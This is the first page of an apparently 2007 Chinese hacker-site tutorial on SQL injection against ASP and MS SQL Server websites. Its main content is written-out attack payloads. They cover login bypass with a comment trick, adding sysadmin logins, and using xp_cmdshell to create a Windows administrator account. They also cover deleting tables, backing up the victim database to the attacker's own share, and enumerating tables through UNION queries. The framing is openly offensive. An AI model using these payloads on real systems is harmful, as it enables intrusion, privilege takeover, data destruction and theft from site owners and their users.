| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 脚本漏洞攻击 >> 正文 用户登录 新用户注册
SQLInjection基础与技巧           ★★★ 【字体:
SQL Injection基础与技巧经验
作者:不详 文章来源:华盟收集 点击数: 更新时间:2007-12-28
    这篇文章是我很久以前的作品了,写完后才知道isno也写了一篇。当我看过isno的那篇后发现了我的文章错了好多个地方,后来我对这篇文章做了一些修改,希望对读者能够有所帮助。
【什么是SQL Injection】    
    SQL Injection应该称为SQL指令植入式攻击,主要属于Input Validation的问题,它是描述一个利用写入特殊SQL程序码攻击应用程序的动作。 

【SQL Injection的原理】    

一般输入帐号密码的网站的SQL语法为    
select * from member where UID =’ "& request("ID") &" ’ nAnd Passwd =’ "& request("Pwd") & " ’    
如果正常使用者输入帐号pl,密码1234    
那么程序便会执行select * from member where UID =’pl’ And Passwd=’1234’    
输入的帐号和密码等信息会取代ASP( or PHP、JSP)中的变量,並由两个单引号(’ ’)所包住。那么,如果攻击者已知系统中已有一個Admin的管理者帐号,則输入Admin ’-- ,即可不需输入密码而进入资料库,相应的语句为    
select * from member where UID =’ Admin ’-- ’ nAnd Passwd =’ ’    
(注:“ – ”符号后的任何叙述都会被当作注解,也就是说以上例子的And子句将被SQL视为说明用)    

【检测漏洞】    

    对大多数SQL服务器来说,我们并不知道对方程序的具体代码,而靠任何扫描器也不可能发现SQL injection的漏洞,这样我们就要靠手工检测了。由于我们执行SQL语句会用到单引号、分号、逗号、冒号和“――”,所以我们可以在URL后面加上以上符合,或者在表单中的文本框中加入。比如:    
http://jsw/new.asp?id=1’    
http://jsw/new.asp?id=1;    
通过页面返回的信息,判断是否存在SQL injection的漏洞,这种方法只是简单的通过字符过滤来判断,根据IIS的配置不同,返回的信息也可能不同。有时显示    
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’    
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’login_id’ to a column of data type int.    
/index.asp, line 5    
也可能是“http 500-内部服务器错误”,或者显示正常信息,判断的根据主要是经验啦,因为现在好多服务器的没有出错回显了的。    

【执行系统命令】    

    SQL injection攻击方法最早源于’or’1’=’1的漏洞(我们暂且称其为漏洞),这个漏洞的原理我想大家因该都知道了,那么随之而来的便是;exec sp_addlogin hax(在数据库内添加一个hax用户),但是这个方法的限制很大,首先ASP使用的SQL Server账号是个管理员,其次请求的提交变量在整个SQL语句的最后,因为有一些程序员采用    
SELECT * FROM news WHERE id=... AND topic=... AND .....    
这种方法请求数据库,那么如果还用以上的例子就会    
news.asp?id=2;exec sp_addlogin hax    
变成    
SELECT * FROM news WHERE id=2;exec sp_addlogin hax AND topic=AND    
    整个SQL语句在执行sp_addlogin的存储过程后有AND与判断存在,语法错误,你的sp_addlogin自然也不能正常运行了,因此试试看下面这个方法  
   news.asp?id=2;exec sp_addlogin hax;--   
      后面的--符号把sp_addlogin后的判断语句变成了注释,这样就不会有语法错误了,sp_addlogin正常执行!    
    如何判断我们的命令是否成功执行了呢?我们先装一个_blank">防火墙,打开ICMP和139TCP和445TCP的警告提示然后提交    
news.asp?id=2;exec master.dbo.xp_cmdshell ’ping 你的IP’    
    如果_blank">防火墙提示有人ping你,那么因该可以肯定对方的ASP用的是SQL的管理员权限,同时也确定了对方的SQL Server的准确位置,因为很多大一点的网站考虑性能,会吧web服务和数据库分开,当对方大上了补丁看不到源代码时,我想只有这个方法能很快的定位对方的SQL Server的位置了    
那么我们连一起来用吧    
news.asp?id=2;exec master.dbo.sp_addlogin hax;--     
news.asp?id=2;exec master.dbo.sp_password null,hax,hax;--     
news.asp?id=2;exec master.dbo.sp_addsrvrolemember sysadmin hax;--     
news.asp?id=2;exec master.dbo.xp_cmdshell ’net user hax hax /workstations:* /times:all /passwordchg:yes /passwordreq:yes    
/active:yes /add’;--    
news.asp?id=2;exec master.dbo.xp_cmdshell ’net localgroup administrators hax /add’;--    
这样,你在他的数据库和系统内都留下了hax管理员账号了。    
当然大家可以试试看在id=2后面加上一个’符号,主要看对方的ASP怎么写了。    
运用master..Xp_cmdshell,扩展,我们就可以在目标主机上执行任意命令的,类似的还有xp_startmail, xp_sendmail, sp_makewebtask,具体的用法和master..Xp_cmdshell差不多,我在这里就不多说了。需要指明的是这种攻击方法的前提条件是ASP用管理员账号,所以虚拟空间大家就别试了,不会存在这个漏洞的。以后我们会讨论,如果对方的ASP不是用SQL管理员账号的时候,我们应该如何攻击。   

【对数据库的攻击】 
   
    通常ASP用的SQL账号就算不是管理员也会是某个数据库的owner,至少对于这个库有很高的管理权限。大家可以试试看   

http://jsw/something.asp?newid=117;select 123;--    
呵呵,报语法错误,select 123错误,显而易见,这个ASP在newid变量后面用’号结束    
那么试试http://jsw/something..asp?newid=117’;delete news;--    
哈哈,我想只要表名猜对了,数据库里面的信息就被删了。    
还有一种的作法,就是提交    
news.asp?id=2;declare @a;set @a=db_name();backup database @a to disk=’你的IP你的共享目录bak.dat’ ,name=’test’;--    
呵呵,你的_blank">防火墙该发出警告了,有人连接你的445或139(win9端口了,这样,对方的SQL的ip一样也可以暴露,其实backuo database到你的硬盘还是有点夸张了,如果对方数据库很庞大,你又是拨号上网,呵呵,劝你别试了,很难成功传输的。
    
【从数据库中提取任意信息】    

     这是本文要简单的一个重要的部分。一般来说,用于查询数据的SQL语句会用到以下的这种格式:    
someting.asp:    
v_cat = request("category")    
sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’"    
set rs=conn.execute(sqlstr)    
那么我们向包含以上代码的ASP文件提交    
http://jsw/index.asp?category=food’or 1=1--’    
切换到程序中后变成    
SELECT * FROM product WHERE PCategory=’food’ or 1=1--’    
也就是说我们可以提交一些非法的值给这个ASP脚本,使它执行我们想要的SQL语句。    
下面我用一个攻击过程来说明SQL injection的利用方法。    
在使用SQL injection攻击的时候,我们首先要得到目标数据库的结构,提交    
http://jsw/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--    
INFORMATION_SCHEMA.TABLES包含的是数据库上的所有表名,我们提交的SQL语句为    
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES— 
   
主要是用来得到数据库上的第一个表名。当MS SQL Server尝试去执行这个语句的时侯将返回以下的信息:    

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’    
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’syssegments’ to a column of data type int.    
/index.asp, line 5    

[1] [2] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客:
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    许多高手提升权限技巧
    SQL脚本注射语句总结
    SQL注射改难猜的MD5
    突破SQL脚本注入想法
    数据恢复的基础知识
    Sql脚本注射技巧整理
    见过最好的sql注入工具
    小工具和入侵的技巧(2)
    入侵得Web根目录技巧
    入侵中快速获Web技巧
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号